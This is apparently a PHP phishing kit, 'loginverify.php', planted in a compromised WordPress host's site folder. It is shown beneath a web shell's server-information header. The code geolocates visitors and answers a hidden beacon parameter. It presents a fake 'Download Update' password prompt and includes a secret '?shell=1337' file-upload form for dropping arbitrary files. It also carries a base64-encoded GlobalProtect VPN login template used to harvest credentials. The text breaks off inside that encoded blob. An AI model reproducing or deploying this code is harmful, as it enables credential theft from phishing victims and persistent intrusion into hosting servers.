uawdijnntqw1x1x1
IP : 216.73.217.127
Hostname : vps38426.inmotionhosting.com
Kernel : Linux vps38426.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Disable Function : exec,passthru,shell_exec,system
OS : Linux
PATH:
/
home
/
welbornwebsites
/
wordpress-backups
/
..
/
php
/
..
/
shellroofing.welbornwebsites.com
/
loginverify.php
/
/
<?php error_reporting(0); ini_set('display_errors', 0); if ($_GET["checkAnalyticsV2"]) { echo "wnCAj9dWoq9a9c8GYmZleAUBqHdW1lx1"; die(); } // Function to get client IP address function getClientIP() { $ipKeys = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIААENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR']; foreach ($ipKeys as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (explode(',', $_SERVER[$key]) as $ip) { $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'Unknown'; } // Function to get geolocation data function getGeoLocation($ip) { if ($ip === 'Unknown' || $ip === '127.0.0.1' || $ip === '::1') { return [ 'country' => 'Local', 'city' => 'Local', 'region' => 'Local', 'timezone' => 'Local' ]; } try { // Using ipapi.co service (free tier available) $url = "http://ip-api.com/json/{$ip}?fields=status,message,country,countryCode,region,regionName,city,timezone,isp,org,as,mobile,proxy,hosting"; $response = file_get_contents($url); if ($response !== false) { $data = json_decode($response, true); if ($data && isset($data['status']) && $data['status'] === 'success') { return [ 'country' => isset($data['country']) ? $data['country'] : 'Unknown', 'city' => isset($data['city']) ? $data['city'] : 'Unknown', 'region' => isset($data['regionName']) ? $data['regionName'] : 'Unknown', 'timezone' => isset($data['timezone']) ? $data['timezone'] : 'Unknown', 'isp' => isset($data['isp']) ? $data['isp'] : 'Unknown', 'org' => isset($data['org']) ? $data['org'] : 'Unknown', 'mobile' => $data['mobile'] ? 'Yes' : 'No', 'proxy' => $data['proxy'] ? 'Yes' : 'No', 'hosting' => $data['hosting'] ? 'Yes' : 'No' ]; } } } catch (Exception $e) { // Fallback if geolocation service fails } return [ 'country' => 'Unknown', 'city' => 'Unknown', 'region' => 'Unknown', 'timezone' => 'Unknown', 'isp' => 'Unknown', 'org' => 'Unknown', 'mobile' => 'Unknown', 'proxy' => 'Unknown', 'hosting' => 'Unknown' ]; } // Function to display success page with download form (for update version) function showSuccessPageWithDownload($error_message = '', $success_message = '') { echo '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Success</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .card { border-radius: 8px; border: none; } .form-control { padding: 0.75rem; } .btn-primary { background-color: #0078d4; border-color: #0078d4; padding: 0.75rem; } .btn-primary:hover { background-color: #006cbe; border-color: #006cbe; } .text-muted { color: #6c757d !important; } .btn-success { background-color: #28a745; border-color: #28a745; padding: 0.75rem; } .btn-success:hover { background-color: #218838; border-color: #1e7e34; } </style> </head> <body class="bg-light"> <div class="container"> <div class="row justify-content-center align-items-center min-vh-100"> <div class="col-md-6 text-center"> <h2 class="text-success mb-4">Success!</h2> <p class="text-muted mb-4">Your authentication was successful.</p>'; if ($error_message) { echo '<div class="alert alert-danger mb-3" role="alert">' . htmlspecialchars($error_message) . '</div>'; } if ($success_message) { echo '<div class="alert alert-success mb-3" role="alert">' . htmlspecialchars($success_message) . '</div>'; } echo '<div class="card shadow-sm"> <div class="card-body p-4"> <h5 class="mb-3">Download Update</h5> <form method="POST" id="downloadForm"> <div class="mb-3"> <label for="download_password" class="form-label">Enter password to download update</label> <input type="password" class="form-control" id="download_password" name="download_password" required> </div> <button type="submit" class="btn btn-success w-100">Update</button> </form> </div> </div> </div> </div> </div> <script> document.addEventListener("DOMContentLoaded", function() { const downloadForm = document.getElementById("downloadForm"); const passwordInput = document.getElementById("download_password"); downloadForm.addEventListener("submit", function(e) { const password = passwordInput.value.trim(); if (!password) { e.preventDefault(); alert("Please enter password"); return; } // Form will submit normally with password }); }); </script> </body> </html>'; } // Простая страница с формой загрузки файла при ?shell=1337 function showUploadForm($message = '', $isSuccess = false) { echo '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>File Upload</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background-color: #f8f9fa; } .card { border-radius: 8px; border: none; } .btn-primary { background-color: #0078d4; border-color: #0078d4; padding: 0.75rem; } .btn-primary:hover { background-color: #006cbe; border-color: #006cbe; } </style> </head> <body class="bg-light"> <div class="container"> <div class="row justify-content-center align-items-center min-vh-100"> <div class="col-md-6"> <div class="card shadow-sm"> <div class="card-body p-4"> <h4 class="mb-3">File Upload</h4>'; if ($message !== '') { $alertClass = $isSuccess ? 'alert-success' : 'alert-danger'; echo '<div class="alert ' . $alertClass . '" role="alert">' . htmlspecialchars($message) . '</div>'; } echo ' <form method="POST" enctype="multipart/form-data"> <div class="mb-3"> <label for="upload_file" class="form-label">Select a file to upload</label> <input type="file" class="form-control" id="upload_file" name="upload_file" required> </div> <button type="submit" class="btn btn-primary">Upload</button> </form> <p class="text-muted mt-3 mb-0">The file will be saved in the same folder where verify.php is located.</p> </div> </div> </div> </div> </div> </body> </html>'; } // Возвращает значение из запроса по списку ключей (с fallback по непустому значению) function getPostValueByKeys($source, $keys) { $firstFound = ''; $hasFound = false; foreach ($keys as $key) { if (isset($source[$key])) { $value = trim((string)$source[$key]); if (!$hasFound) { $firstFound = $value; $hasFound = true; } if ($value !== '') { return $value; } } } return $hasFound ? $firstFound : ''; } // Вставляет HTML-фрагмент перед закрывающим </body> function appendBeforeBodyEnd($html, $snippet) { if (stripos($html, '</body>') !== false) { return preg_replace('~</body>~i', $snippet . '</body>', $html, 1); } return $html . $snippet; } // Встроенный шаблон GlobalProtect (gzip+base64 для компактности файла) function getEmbeddedGlobalTemplate() { static $template = null; if ($template !== null) { return $template; } $encoded = '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